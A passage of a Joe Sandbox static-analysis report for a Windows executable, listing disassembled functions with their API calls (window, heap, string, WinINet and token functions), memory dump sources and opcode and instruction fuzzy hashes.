Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
Instruction ID: 766fd237758725a4fe5d9aeab8b9d2f0ef4e0183f95fc7ca3ddcb94860656552
Opcode Fuzzy Hash: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
Instruction Fuzzy Hash: E641BB66A04B4681EB24FF26D49146DAB60FB88FD4B889432DF4E47766DF3CE4528360

Function 00007FF7978DF014 Relevance: 6.1, APIs: 4, Instructions: 107windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(00000000,?,?,?,?,00007FF7978E0BC9), ref: 00007FF7978DF054
GetWindowRect.USER32(?,?,?,?,00007FF7978E0BC9), ref: 00007FF7978DF0E3
PtInRect.USER32 ref: 00007FF7978DF0F3
MessageBeep.USER32(?,?,?,?,00007FF7978E0BC9), ref: 00007FF7978DF165

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
Instruction ID: 8b2ccc7c5741ae825ec5bddb5b40308644895a9352ea87f3c561dbdd89d55f28
Opcode Fuzzy Hash: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
Instruction Fuzzy Hash: 2C414032A09B4686EE61AF29D884A79BBA0FB44BD4F954135CE6D43360DF3CE8539310

Function 00007FF79786C72C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79786C77F
WideCharToMultiByte.KERNEL32 ref: 00007FF79786C851
GetLastError.KERNEL32 ref: 00007FF79786C874
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79786C8A6

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
Instruction ID: ba871cbe30f8b5f4336cc9190f857832ae0bb7c0f042272a0d0d70f3ba0964c1
Opcode Fuzzy Hash: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
Instruction Fuzzy Hash: 9841B432A0CB8256FB71AB359048B79EA91EF40BD0FA4C130DA4947AD5DF2DF8538721

Function 00007FF7978DC580 Relevance: 6.1, APIs: 4, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF7978DC630
GetWindowLongW.USER32 ref: 00007FF7978DC658
SetWindowLongPtrW.USER32 ref: 00007FF7978DC66D
InvalidateRect.USER32(?,00000000,?,00007FF79787DF79), ref: 00007FF7978DC6A4

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
Instruction ID: fbf01b903c94b5ec7d7ee4ac32f9189b1d2572217a38a74273fca015f55fa78f
Opcode Fuzzy Hash: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
Instruction Fuzzy Hash: 9A41B631E0854689F774BB75E488BB8EB50EB84BD4F945136D60D436D5CE3CE4A38720

Function 00007FF7978BD7DC Relevance: 6.1, APIs: 4, Instructions: 82networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 00007FF7978BD843

Part of subcall function 00007FF7978BD914: InternetOpenUrlW.WININET ref: 00007FF7978BD954
Part of subcall function 00007FF7978BD914: InternetCloseHandle.WININET ref: 00007FF7978BDA38

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
Instruction ID: 97c1c61a0430225de284c1602ac1fed7932e0d947edb472168855a96ba70e628
Opcode Fuzzy Hash: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
Instruction Fuzzy Hash: AE31AD32A08B4292F774EB26E450B79AB61FB49BC4F840535DE4D07B48DF2CE0668B20

Function 00007FF797873D98 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF79786A27B,?,?,?,00007FF79786A236), ref: 00007FF797873DB1
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF79786A27B,?,?,?,00007FF79786A236), ref: 00007FF797873E13
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF79786A27B,?,?,?,00007FF79786A236), ref: 00007FF797873E4D
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF79786A27B,?,?,?,00007FF79786A236), ref: 00007FF797873E77

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 01582a1cc1afdad6e1d5985337141992fa687edcd13d7850452916e3cfeba0bf
Instruction ID: fe392bf9a348760942c3271443213331ca84cc80dcb129335f063ebec7286d91
Opcode Fuzzy Hash: 01582a1cc1afdad6e1d5985337141992fa687edcd13d7850452916e3cfeba0bf
Instruction Fuzzy Hash: 6D218622B1879181D630AF21A844429FAA5FF44FD0F884134DE8E67F94DF3CE5A38311

Function 00007FF7978DF8A8 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF7978DF90E
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,00007FF7978BCD60), ref: 00007FF7978DF937
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,00007FF7978BCD60), ref: 00007FF7978DF952
SetWindowPos.USER32 ref: 00007FF7978DF988

Part of subcall function 00007FF797832A54: GetWindowLongPtrW.USER32 ref: 00007FF797832A71

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
Instruction ID: aa8a7b3af7de2816c5e8d5fa13b36840ef8acc33180aedf9769d9b1889983ea6
Opcode Fuzzy Hash: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
Instruction Fuzzy Hash: CA219121A08B4295EA30AB399884B39BB51AF85BE4F954231D97D07BE4CF3CE452C310

Function 00007FF7978E108C Relevance: 6.1, APIs: 4, Instructions: 71windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF797832A54: GetWindowLongPtrW.USER32 ref: 00007FF797832A71

GetCursorPos.USER32 ref: 00007FF7978E10E1
TrackPopupMenuEx.USER32 ref: 00007FF7978E1105
GetCursorPos.USER32(?,?,00000000,?,?,00007FF79787AB30,?,?,?,?,?,?,?,?,?,00007FF7978327AF), ref: 00007FF7978E114C
DefDlgProcW.USER32(?,?,00000000,?,?,00007FF79787AB30,?,?,?,?,?,?,?,?,?,00007FF7978327AF), ref: 00007FF7978E1190

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
Instruction ID: 16992df8c84411d206a79e10d29b9cd7d79c2aa76d7b0b5f1ada203fb3ce7fd6
Opcode Fuzzy Hash: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
Instruction Fuzzy Hash: 9D314026A08A4685EB20FB2AE4547BDEB60FB84FD4F944131DA4D47BA4CF3CD556C710

Function 00007FF7978A50E4 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 69stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978A691C: lstrlenW.KERNEL32 ref: 00007FF7978A6944
Part of subcall function 00007FF7978A691C: lstrcpyW.KERNEL32 ref: 00007FF7978A6973
Part of subcall function 00007FF7978A691C: lstrcmpiW.KERNEL32 ref: 00007FF7978A69AD

lstrlenW.KERNEL32 ref: 00007FF7978A5127
lstrcpyW.KERNEL32 ref: 00007FF7978A515A
lstrcmpiW.KERNEL32 ref: 00007FF7978A519C

Strings

cdecl, xrefs: 00007FF7978A5191

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 6ee308fa608802624a00634d89d3b35e25db475d47eac5eefd8d872017a6409b
Instruction ID: 10fd8d1523d7efd69d50429587440edf9187bc88103bd70c5e0bd0a87fe3b919
Opcode Fuzzy Hash: 6ee308fa608802624a00634d89d3b35e25db475d47eac5eefd8d872017a6409b
Instruction Fuzzy Hash: 2221A12170834285EB24BF26A854678BBA1EF98FD0BC94134EB5E47794DF3DE4A2C314

Function 00007FF79789D6A0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79789CAB4: GetTokenInformation.ADVAPI32 ref: 00007FF79789CAE6
Part of subcall function 00007FF79789CAB4: GetLastError.KERNEL32 ref: 00007FF79789CAF2
Part of subcall function 00007FF79789CAB4: GetProcessHeap.KERNEL32 ref: 00007FF79789CAFF
Part of subcall function 00007FF79789CAB4: HeapAlloc.KERNEL32 ref: 00007FF79789CB0E
Part of subcall function 00007FF79789CAB4: GetTokenInformation.ADVAPI32 ref: 00007FF79789CB2D

GetLengthSid.ADVAPI32 ref: 00007FF79789D71A
CopySid.ADVAPI32 ref: 00007FF79789D73F
GetProcessHeap.KERNEL32 ref: 00007FF79789D754
HeapFree.KERNEL32 ref: 00007FF79789D762

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocCopyErrorFreeLastLength
String ID:
API String ID: 837644225-0
Opcode ID: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
Instruction ID: 5241ec6bd398005c483cf3bb7f4236a1b27a335589308e90904bc1d6b5d5db4a
Opcode Fuzzy Hash: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
Instruction Fuzzy Hash: 41212432A08B4196EB20EF31D804B68BBA5FB84BD0F854439DA0D43744DF3DE962C320

Function 00007FF79783932C Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 00007FF7978393BC
GetStockObject.GDI32 ref: 00007FF7978393D9
SendMessageW.USER32 ref: 00007FF7978393EC

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
Instruction ID: e8f7d7400df746208a2dc7889134b51d54d5707e92f244fa8feb62c995ffa4b9
Opcode Fuzzy Hash: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
Instruction Fuzzy Hash: 3721417260C7C58AE7749B29E844BAABBA0FB88B84F840135DA8D43B54DF7CD495CB00

Function 00007FF7978E2264 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF797832A54: GetWindowLongPtrW.USER32 ref: 00007FF797832A71

GetClientRect.USER32(?,?,?,?,?,00007FF79787AA36,?,?,?,?,?,?,?,?,?,00007FF7978327AF), ref: 00007FF7978E22C4
GetCursorPos.USER32(?,?,?,?,?,00007FF79787AA36,?,?,?,?,?,?,?,?,?,00007FF7978327AF), ref: 00007FF7978E22CF
ScreenToClient.USER32 ref: 00007FF7978E22DD
DefDlgProcW.USER32(?,?,?,?,?,00007FF79787AA36,?,?,?,?,?,?,?,?,?,00007FF7978327AF), ref: 00007FF7978E231F

Part of subcall function 00007FF7978DE894: LoadCursorW.USER32 ref: 00007FF7978DE945

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ClientCursor$LoadLongProcRectScreenWindow
String ID:
API String ID: 1626762757-0
Opcode ID: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
Instruction ID: e5d7c52c453263b339a83c5c973d634779f8cd4b2d73d0fe5ea2eb2ccfd1c327
Opcode Fuzzy Hash: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
Instruction Fuzzy Hash: 80213231A08A4686EA34FB25E480969B761FB85FD4F940131DB4D47B55CF3CE952CB10

Function 00007FF797862FB8 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

_ctrlfp.LIBCMT ref: 00007FF797862FE5
_ctrlfp.LIBCMT ref: 00007FF797863039
_ctrlfp.LIBCMT ref: 00007FF79786304D
_ctrlfp.LIBCMT ref: 00007FF797863071

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _ctrlfp
String ID:
API String ID: 697997973-0
Opcode ID: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
Instruction ID: a3456008b86ca76c96cc62ae3bdf9751e84a0ecab48f70da3cacfc09871e450d
Opcode Fuzzy Hash: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
Instruction Fuzzy Hash: 87110B21D0CD4692E221FB38904157BE771FF9B7D0FA48230FB8906A95DE2DD4528B00

Function 00007FF7978ACF68 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF7978ACFA7

Part of subcall function 00007FF797861F44: _invalid_parameter_noinfo.LIBCMT ref: 00007FF797861F68

MessageBoxW.USER32 ref: 00007FF7978ACFEA
WaitForSingleObject.KERNEL32 ref: 00007FF7978AD004
CloseHandle.KERNEL32 ref: 00007FF7978AD00D

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait_invalid_parameter_noinfo
String ID:
API String ID: 2979156933-0
Opcode ID: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
Instruction ID: 1f60ec058fa0959c06dacf06c5f20b38a562493213ee97f2b4b4bea988f9e6a7
Opcode Fuzzy Hash: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
Instruction Fuzzy Hash: 9121D832A0C78286E720EF36B84056AFB91FB84BE4F848135E99D43B69DF7CD1168750

Function 00007FF7978DFA78 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 00007FF7978DFAA8
ScreenToClient.USER32 ref: 00007FF7978DFAC1
ScreenToClient.USER32 ref: 00007FF7978DFAE6
InvalidateRect.USER32 ref: 00007FF7978DFB02

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
Instruction ID: 0b9a9eb25e1f4e3c6092221bc892f2b9006b26f5e906f7833ad58dc469e86cf4
Opcode Fuzzy Hash: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
Instruction Fuzzy Hash: A12108B6B04B45DFEB00DF74D8845AC7BB1F748B88B404826EA5893B18DB78D665CB50

Function 00007FF79786B778 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF797858DD0,?,?,0x%p,00007FF79785D8ED), ref: 00007FF79786B782
SetLastError.KERNEL32(?,?,?,00007FF797858DD0,?,?,0x%p,00007FF79785D8ED), ref: 00007FF79786B7EA
SetLastError.KERNEL32(?,?,?,00007FF797858DD0,?,?,0x%p,00007FF79785D8ED), ref: 00007FF79786B800
abort.LIBCMT ref: 00007FF79786B806

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: 5c68b7f432a971f9c1a5a37c5612d4f4cb9c7d627adb850da760d9ecfffa7c81
Instruction ID: b39e3803156502617dba1094690c2b269aa363771f14693a7036913056bfdcf5
Opcode Fuzzy Hash: 5c68b7f432a971f9c1a5a37c5612d4f4cb9c7d627adb850da760d9ecfffa7c81
Instruction Fuzzy Hash: 8501C410B09E4652FE78B7759505D389E599F447D8FE48438D90E067D6FE2CB8234230

Function 00007FF7978A9260 Relevance: 6.0, APIs: 4, Instructions: 37sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32 ref: 00007FF7978A9283
Sleep.KERNEL32 ref: 00007FF7978A9297
QueryPerformanceCounter.KERNEL32 ref: 00007FF7978A92A2
Sleep.KERNEL32 ref: 00007FF7978A92CD

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
Instruction ID: 0fbd73afe305b76ca2e7a3c4a966d81801de5f66eff35b01fb74d34bfd513a2f
Opcode Fuzzy Hash: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
Instruction Fuzzy Hash: F401F520A0CF8682EE3A7B35944097BF760BF99781F850336E95F61560CF2CE5A78610

